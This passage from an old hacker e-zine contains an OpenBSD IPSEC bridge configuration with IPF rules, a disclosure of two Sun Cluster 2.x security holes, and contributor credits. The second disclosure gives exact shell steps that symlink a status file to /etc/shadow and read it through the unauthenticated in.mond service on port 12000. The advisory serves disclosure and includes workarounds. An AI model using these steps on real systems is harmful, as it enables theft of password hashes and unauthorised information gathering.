EXTERNAL_INTERFACE from any to aaa.aaa.aaa.255/32 # block broadcast traffic from the internal network block in quick on INTERNAL_INTERFACE from any to bbb.bbb.bbb.0/32 block in quick on INTERNAL_INTERFACE from any to bbb.bbb.bbb.255/32 # pass traffic out from EXTERNAL_INTERFACE and from INTERNAL_NETWORK pass out quick on EXTERNAL_INTERFACE proto tcp/udp from \ BRIDGE2_EXTERNAL_IP/32 to any keep state pass out quick on EXTERNAL_INTERFACE proto icmp from \ BRIDGE2_EXTERNAL_IP/32 to any keep state pass out quick on EXTERNAL_INTERFACE proto tcp/udp from \ BRIDGE2_INTERNAL_NETWORK/24 to any keep state # pass IPSEC traffic for bridge0 and enc1 pass in quick proto esp from BRIDGE1_EXTERNAL_IP/32 to \ BRIDGE2_EXTERNAL_IP/32 pass out quick proto esp from BRIDGE2_EXTERNAL_IP/32 to \ BRIDGE1_EXTERNAL_IP/32 pass in quick on enc1 from BRIDGE1_INTERNAL_NETWORK/24 to \ BRIDGE2_INTERNAL_NETWORK/24 After configuring both bridges use the following command to flush IPF and restart it with the current ruleset: # ipf -Fa -f /etc/ipf.rules .Benefits of this Technique If you've stuck with the examples this far, you're likely to have a functioning IPSEC bridge on your hands. As far as client machines on either internal network know; they are on a LAN with every machine on the network (including machines remotely located on the other side of the VPN). You should find arp entries for all client machines on each bridge box. It should now be possible to install a WINS server (or Samba acting as WINS) on either side of the VPN and have all machines connect to it (thus establishing Network Neighborhood for all machines involved). Any IP-based protocol should function provided that said protocol does not mandate passing broadcast traffic (hence the use of WINS to establish NetBIOS ease-of-use). .Drawbacks not Readily Apparent You may have realized that all the machines on both sides of the VPN will need to share the same address space to route IP. As with a normal physical bridge; normal routing applies. Non-IP protocols *will* be transmitted across the VPN unless you include the brconfig blocknonip line in your configurations. The provided perl utility does *not* filter non-IP traffic by default. [ Note that if you do this, obviously, non-IP (v4, v6, ARP and RARP) traffic gets dropped, so if you want to get your IPX/AppleTalk/foo traffic to pass, you need some tunnelling. OpenBSD's GRE support would be perfect for this, if only it understood non-IP protocols. tipxd (http://tipxd.sourceforge.net/) will tunnel IPX. Good luck with anything else. Really, brconfig should let you filter by ethernet packet type. Oh well. {ajax} ] In Closing Enjoy. Pampering Windows clients is, of course; only one use for an IPSEC bridge. .Further Reading/Bibliography brconfig(8) vpn(8) ipf(5) Transparent Network Security Policy Enforcement [ http://www.thought.net/jason/bridgepaper ] Using IPSEC and Samba to Integrate Windows Networks [ http://napalm.firest0rm.org/issue7.html#integ ] Signed azure@gh0st.net http://azure.gh0st.net, http://www.nsacom.net _________________________________________________ ----------------------------------------- - echo8 [=] 0x06: Security Holes in Sun Cluster 2.x Hole #1 ------- Summary ------- Sun Cluster 2.x (Sun Microsystems' commercial high-availability product for Solaris) leaks potentially sensitive information to local or remote users. Specifics --------- In a standard Sun Cluster install, there is a service called clustmon that runs on port 12000. It is used by the cluster's administrative tool (hastat) for the exchange of information between cluster nodes. However, the service doesn't do any kind of authentication whatsoever, and can be used by any host which can connect to it to gain access to some fairly sensitive data. It also has some amusing undocumented features. The syntax used interactively is very similar to sendmail's help syntax, but if you can't figure it out, the service will happily hold your hand: echo8:{501} telnet foobar 12000 Trying 192.168.0.1... Connected to foobar. Escape character is '^]'. 220 foobar Monitor server version SC 2.1 (98/5/13 V2.1+) (Debug) ready. help 214- The following commands are recognized: 214- NOOP - does nothing 214- QUIT - closes this connection 214- PORT inetaddr port - data addr/port as a sequence of 6 numbers 214- DATE BEGINNING - start at beginning of time 214- DATE NEW - start now 214- DATE CURRENT - start with current logfile 214- DATE AFTER <datespec> - specify a starting date 214- DATE AFTER <datespec> LOOP - wait for new entries to be appended to logfile 214- OPEN servicename - initiate a data stream 214- CLOS servicename - shut down a data stream 214- HELP - show this list 214 Direct comments to cluster-help@sun.com. "open syslog" will echo out the entire contents of /var/adm/messages. "open haconfig" will provide a listing of all of the other cluster nodes, the names of each registered data service and logical host, full paths to your start and stop methods, and the current state of your data services and logical hosts. Because in.mond runs as root out of inetd, both commands will succeed regardless of the local permissions on /var/adm/messages or the CCD database. Even if you choose NOT to make this information available to local users by putting restrictive permissions on the relevant files, remote users can still access it. "open hastat" will provide all of the information usually provided to local superusers via /opt/SUNWcluster/bin/hastat, including: * uptime of hosts * status of public and private networks * names and current locations of logical hosts * state of HA monitoring on each logical host * States of NAFO groups, including times of most recent failovers It's interesting to note that the (local) hastat command is restricted to the superuser. However, the network service is universally accessible. "open sesame" will tell you that the cave is still blocked (I'm serious, try it). All of this information is available to ANY host which can connect to the aforementioned port with a telnet client. While none of this really constitutes a compromise, it is the sort of information leakage which can be useful intelligence for a would-be attacker. Workaround ---------- One could trivially use tcp wrappers to keep unauthorized hosts away from the port in question. [ One could also (probably) create a 'mond' user and run in.mond as that instead of as root. You'll probably have to chown lots of files to keep some of the functionality, but, price you pay. {ajax} ] Vendor Response --------------- The vendor was notified on October 31, 2000. When I contacted Sun and opened a case, the individual who responded to my case dismissed the problem by saying that "the product was not intended for use in hostile environments or on networks that have untrusted users." Sun also suggested that perhaps they will remove the help functions from upcoming versions. Hole #2 ------- Summary ------- The HA-NFS data service (a component of Sun Cluster 2.x) has a security hole that can allow local users to read any file on the system, regardless of the permissions on that file. In order to exploit the hole, a clustered system must be using HA-NFS, and the attacker must have a local account. Specifics --------- On a host running HA-NFS, the file called /var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>/status is created by Sun Cluster with permissions set to 666. The directory above it (/var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>) is created mode 777. The status file is read by in.mond to display the status of the HA-NFS service. in.mond follows symbolic links. in.mond is most commonly executed when called by the hastat utility, which can only be run by the superuser. However, as described in hole #1, any remote user can connect directly to in.mond and make full use of it from a telnet client. To exploit this hole to view a file to which he does not have read access, a local (unprivileged) user can do the following: $ cd /var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname> $ rm status $ ln -s /etc/shadow status $ telnet localhost 12000 <once connected to the in.mond service> open hastat ... and watch as the shadow file is read out to stdout ... Workaround ---------- Change the permissions on the files in question. Use tcp wrappers to keep unauthorized hosts away from in.mond. Vendor Response --------------- Sun was notified on November 22, 2000. As yet, there has been no response. Comments -------- High-availability products should not weaken the security of the systems on which they run. Despite what Sun may say, giving out your system logs and configuration specifics to unauthorized remote users weakens the security of a system. Removing the help features amounts to security through obscurity. I was able to very trivially discover at least one completely undocumented feature in in.mond ("open sesame"), so I have no reason to believe there are not others. The more recent discovery of the second hole only reaffirms the idea that there are no small vulnerabilities. Some minor holes can be leveraged to cause further harm or gain additional access. The two described above are a textbook illustration of this concept. Please address comments to echo8@firest0rm.org. [ Wow, zero-day 'sploits! {kynik} ] _____________________________ --------------------- - kynik [=] 0x07: Music Reviews This space for rent. No, seriously, I haven't been able to get enough response from the core contributors to review any more music. If you have a good grasp of the english language (spelling and grammar) and love music, drop me a line. I've got a pile of miscellaneous stuff I'd like other people to review, and nobody seems to be interested. If worse comes to worse, I'll do the reviews entirely on my own. (But we don't want that, do we?) [ In fact, you don't even need a good grasp of English. We'll take random street lunatics if their review is funny enough. {ajax} ] _________________ ----------------- [=] 0x09: Credits Editor: Kynik <kynik@firest0rm.org> Co-Editor: ajax <ajax@firest0rm.org> Article Contributions: Flame0ut <napalm@firest0rm.org> Orbitz <orbitz@firest0rm.org> _azure <azure@gh0st.net> echo8 <echo8@firest0rm.org> To subscribe to this 'zine: email napalm@firest0rm.org with a subject of SUBSCRIBE To unsubscribe: email napalm@firest0rm.org with a subject of UNSUBSCRIBE Or find us online at: http://napalm.firest0rm.org/ Submissions, questions, comments, and constructive chaos may also be directed to kynik@firest0rm.org or any of the contributors .n8! - eof